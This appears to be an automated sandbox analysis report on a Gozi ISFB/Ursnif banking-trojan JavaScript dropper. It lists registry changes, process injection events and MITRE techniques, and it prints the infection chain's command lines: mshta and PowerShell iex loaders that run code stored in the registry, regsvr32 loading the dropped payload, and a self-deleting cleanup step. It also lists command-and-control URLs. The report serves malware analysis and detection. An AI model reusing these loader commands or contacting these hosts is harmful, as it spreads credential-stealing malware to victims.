gozi_ifsb | b7eea25df9616cb260aede55526c4133e193e9459fcd32ba87abf446259ef811

General

Target

view_presentation_s1v.js
Size

1.1MB
MD5

bec9e707404efce0517e706450067520
SHA1

4c146e386fcc547359eb6f5b9e8b1ebf8ca8d6e5
SHA256

b7eea25df9616cb260aede55526c4133e193e9459fcd32ba87abf446259ef811
SHA512

275a1982cce2edef38ff25d9e56661519f752b2c56838e5ebe44b67433290328afe23e2c301de2e0bbb75eabbe44817a3029fc844ff542e227b2d2c7df9d026b

Score

10^/10

banker trojan gozi_ifsb ursnif spyware

Malware Config

Signatures

Modifies Internet Explorer settings 1 TTPs 86 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXEmshta.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{50D97A31-80A0-11EA-8BD0-6EDA1F67EF91} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dcc209169d6de14b878908571718e558000000000200000000001066000000010000200000003838f9f46b950a1b631141c3f7840d3c15975066d5922038faf65007767d9b37000000000e8000000002000020000000cfb3b6002fc8478c08afd4212f5f7178dcef2dbefee152d54fdbc8b87bc6a0f7200000004b8cac5c61f075bc627e2be07baaf0010bf09a6a4eda23ad65856bdd02643da440000000beb5ccd1a48fa07763a6582424859a2897396ca2c1e92b87337c4db389f85d3520bfebbe79f25fa8d89f7db7dfd9bd1b381c4da3b90f1c8181c45481c96447a1	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dcc209169d6de14b878908571718e55800000000020000000000106600000001000020000000b169e75bddb81fc6e94d0ff1a997b15289378d630a0b382a8d51d32eb284e01b000000000e800000000200002000000050ece7e86076e5c5dbafdf1ceafad2aea076845d5232f9baf1385c28959f05e2900000003e7b33de923feef3983e8f6e480cf40edcd34d78d87d735ccef905000a5d06d1eeb52d67a16865d3cfb1e040d3b59c210c12480fb996e10f07130d4aa048fc9adf74f16cbb96bb6b66aaed667e215ec7857bfe6c97e915c567dc87bb278f7cd3e811d961c265c41019ff7aae63e6bf99ee2ad6b9f66093caa07bf5ae78d76e9057b6de1ed667cf6ec00e5ea0bb0227de40000000bde9fdc65126c2376b6acc0942c8cab4283fc90add194ab8f2ca32e866c7102ee12283b2b12cf64f34cdfa6e9a9f1d9881997c0de7725b326894c815d932a619	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7E1ABE51-80A0-11EA-8BD0-6EDA1F67EF91} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe

Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

wscript.exeregsvr32.exeiexplore.exeiexplore.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1536 wrote to memory of 1680	1536	wscript.exe	regsvr32.exe
PID 1536 wrote to memory of 1680	1536	wscript.exe	regsvr32.exe
PID 1536 wrote to memory of 1680	1536	wscript.exe	regsvr32.exe
PID 1536 wrote to memory of 1680	1536	wscript.exe	regsvr32.exe
PID 1536 wrote to memory of 1680	1536	wscript.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1680 wrote to memory of 1012	1680	regsvr32.exe	regsvr32.exe
PID 1780 wrote to memory of 1048	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1048	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1048	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1048	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1072	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1072	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1072	1780	iexplore.exe	IEXPLORE.EXE
PID 1780 wrote to memory of 1072	1780	iexplore.exe	IEXPLORE.EXE
PID 1952 wrote to memory of 1464	1952	iexplore.exe	IEXPLORE.EXE
PID 1952 wrote to memory of 1464	1952	iexplore.exe	IEXPLORE.EXE
PID 1952 wrote to memory of 1464	1952	iexplore.exe	IEXPLORE.EXE
PID 1952 wrote to memory of 1464	1952	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1932	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1932	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1932	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1932	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1032	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1032	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1032	1036	iexplore.exe	IEXPLORE.EXE
PID 1036 wrote to memory of 1032	1036	iexplore.exe	IEXPLORE.EXE
PID 784 wrote to memory of 1428	784	mshta.exe	powershell.exe
PID 784 wrote to memory of 1428	784	mshta.exe	powershell.exe
PID 784 wrote to memory of 1428	784	mshta.exe	powershell.exe
PID 1428 wrote to memory of 556	1428	powershell.exe	csc.exe
PID 1428 wrote to memory of 556	1428	powershell.exe	csc.exe
PID 1428 wrote to memory of 556	1428	powershell.exe	csc.exe
PID 556 wrote to memory of 1628	556	csc.exe	cvtres.exe
PID 556 wrote to memory of 1628	556	csc.exe	cvtres.exe
PID 556 wrote to memory of 1628	556	csc.exe	cvtres.exe
PID 1428 wrote to memory of 1584	1428	powershell.exe	csc.exe
PID 1428 wrote to memory of 1584	1428	powershell.exe	csc.exe
PID 1428 wrote to memory of 1584	1428	powershell.exe	csc.exe
PID 1584 wrote to memory of 1604	1584	csc.exe	cvtres.exe
PID 1584 wrote to memory of 1604	1584	csc.exe	cvtres.exe
PID 1584 wrote to memory of 1604	1584	csc.exe	cvtres.exe
PID 1428 wrote to memory of 1212	1428	powershell.exe	Explorer.EXE
PID 1428 wrote to memory of 1212	1428	powershell.exe	Explorer.EXE
PID 1428 wrote to memory of 1212	1428	powershell.exe	Explorer.EXE
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1212 wrote to memory of 1772	1212	Explorer.EXE	cmd.exe
PID 1772 wrote to memory of 1572	1772	cmd.exe	PING.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

iexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
1780	iexplore.exe
1780	iexplore.exe
1048	IEXPLORE.EXE
1048	IEXPLORE.EXE
1952	iexplore.exe
1952	iexplore.exe
1464	IEXPLORE.EXE
1464	IEXPLORE.EXE
1036	iexplore.exe
1036	iexplore.exe
1932	IEXPLORE.EXE
1932	IEXPLORE.EXE
1036	iexplore.exe
1036	iexplore.exe
1032	IEXPLORE.EXE
1032	IEXPLORE.EXE
1036	iexplore.exe
1036	iexplore.exe
1932	IEXPLORE.EXE
1932	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

iexplore.exeiexplore.exeiexplore.exe

pid process

1780 iexplore.exe
1952 iexplore.exe
1036 iexplore.exe
1036 iexplore.exe
1036 iexplore.exe

Checks whether UAC is enabled 7 IoCs

Processes:

IEXPLORE.EXEIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

1012 regsvr32.exe

pid	process
1012	regsvr32.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1428 set thread context of 1212	1428	powershell.exe	Explorer.EXE
PID 1212 set thread context of 1772	1212	Explorer.EXE	cmd.exe
PID 1772 set thread context of 1572	1772	cmd.exe	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

1572 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1572 PING.EXE

pid	process
1572	PING.EXE

pid	process
1572	PING.EXE

Makes http(s) request 7 IoCs

Contacts server via http/https, possibly for C2 communication.

Processes:

description	flow	ioc
HTTP URL	17	http://f1.pipen.at/favicon.ico
HTTP URL	19	http://f1.pipen.at/api1/YsKhsFE3ECu0kD6h_/2FkEZmfBi8uL/_2FkIMoHaPu/58QHdyy1yBJo_2/F9y0mWFyyN6s9qRT2_2Bm/r80FWpbEtIpH2DtU/Rkyjf3q5UJ2TRBo/h_2FFLVdP7ROfGNhj8/oLveCz_2B/R7bE4vva_2FyXUSASN7x/ryI_2FM61KkTHYIG_2F/AhUgHvOUuFFTHV9jiJ6M_2/F2g1RwrJa4GXw/fLBjdf7s/SGBfJD9C_2BAtBVPOU9O4YN/Rkoi4vsrnc/5njqSSyLj_2Bl2ktT/Dyyb_2F3ULTW/r_0A_0Dauoa/GXPGrWqcBYBulV/G9OrBLwsUZ97y1R2y8oih/NVyHgSJRUacvpnSf/nvQWCuWrL2/wuq
HTTP URL	18	http://f1.pipen.at/favicon.ico
HTTP URL	20	http://f1.pipen.at/api1/f6N_2F0Rrl/fvtHRSPIqzacU7Q0D/UrkdMPJIu7f1/qxEkIK9eGNs/c61x2YcdCykahs/ehJykkkPX5tvhAXeQ_2FK/B1xStlkcTjOBnF_2/FzEmrmVnZP39XLv/h8rTPkAmWcK3UAdJIg/GIMC2VUS9/0JxdL4guD_2F1gPeCYar/fs5fOeSCvU9K_2BcPMI/OBT3dYrALvYkxX7jzZwBXm/AKBI7rd7yusM3/ytnSqqk0/xTjFTQXG21MyY0ev3SjD3iH/Ch7Ybt1yRC/rHTF_0A_0D_2FscN_/2FDvF8jvAYM2/H6TmAtLdyU_/2BADpApNpS4w5p/_2FXQlTCNiwPrY7CX1NYi/X0u8nKLA/6Vd
HTTP URL	23	http://api10.dianer.at/jvassets/xI/t64.dat
HTTP URL	6	http://f1.pipen.at/api1/m_2BaADge8Mbk2h/fJw_2BnSX6wjBSR4r6/PAbEaaAN1/fcdQXgis5soNU1wNOSyu/CbPctspSsmzmOiP5ggH/BlMpGzht8E3SI_2FbK_2F1/UtQ27fa6MOzBK/tdyqQyZ3/7V2Q3EdD5SoINvOkucyOp9c/bt0Av_2BKt/2PPoIiaSlIJPm_2FQ/xv9P3g0feaPX/TaMlIJGN_2B/055TQuPnwJW8gU/WDThRlNEkmtSyUtYQ_2FA/BlZjx0AyduJIfm55/bm5cuzDMcqIflR0/CC_2FyY_0A_0D70S2S/InJJbRBoy/Bnu1lbHzbdxAAaUOFUuS/0LWLMMeUD2D/hr
HTTP URL	16	http://f1.pipen.at/api1/hjFpDX1ip1UYGC94dUh/uiQB9wEtRX1BLkfSVNwVj1/lwWYrXSXkIbfC/klaTsugN/QzwDfqzE_2FeD806MTHypaK/VpHSQzMzWF/PYZ1OFseTfSUlSGJh/61cQaAsXcK2X/UW2nOaQI_2B/4iheQ9wfc_2Brb/AnKBjEP9Q_2Ff_2BKzhjm/P_2BCC4EE2ZuwMyn/zyiJsPfexCinpy0/PKEyNd_2F_2F2KDV_2/FLpp_2B6L/kFPjb7_2FNndJ4jF_2FZ/BRB6IDOmCmi5FPf0uDw/6oZDxXGPM_0A_0DHqTyOMl/xsY84uNpdXlP3/Hbe9yrkn/ddZakwoCJQCm/LLJT9xp

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1428 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeExplorer.EXE

pid process

1428 powershell.exe
1428 powershell.exe
1212 Explorer.EXE
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

1428 powershell.exe
1212 Explorer.EXE
1772 cmd.exe

description	pid	process
Token: SeDebugPrivilege	1428	powershell.exe

pid	process
1428	powershell.exe
1428	powershell.exe
1212	Explorer.EXE

pid	process
1428	powershell.exe
1212	Explorer.EXE
1772	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1212
- C:\Windows\system32\wscript.exe
  wscript.exe C:\Users\Admin\AppData\Local\Temp\view_presentation_s1v.js
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\System32\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\\HRLhUNI.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\SysWOW64\regsvr32.exe
      -s C:\Users\Admin\AppData\Local\Temp\\HRLhUNI.txt
      4⤵
      Loads dropped DLL
      PID:1012
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\4F9B8A74-6250-5914-E4F3-B69D58D74A21\\DmdlDump'));if(!window.flag)close()</script>"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\4F9B8A74-6250-5914-E4F3-B69D58D74A21").Certxva2))
    3⤵
    - Suspicious use of WriteProcessMemory
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:1428
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wps2yt0r\wps2yt0r.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:556
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA053.tmp" "c:\Users\Admin\AppData\Local\Temp\wps2yt0r\CSC75C8EA2518EE4C9A8F3C139584727B4.TMP"
        5⤵
        
        PID:1628
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\adbblykg\adbblykg.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1584
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA0D0.tmp" "c:\Users\Admin\AppData\Local\Temp\adbblykg\CSCDC171189AB0F4D288419B5782ED8955B.TMP"
        5⤵
        
        PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\HRLhUNI.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:1772
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Runs ping.exe
    PID:1572

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
PID:1780
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1780 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1048
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1780 CREDAT:865285 /prefetch:2
  2⤵
  PID:1072

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
PID:1952
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1952 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1464

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
PID:1036
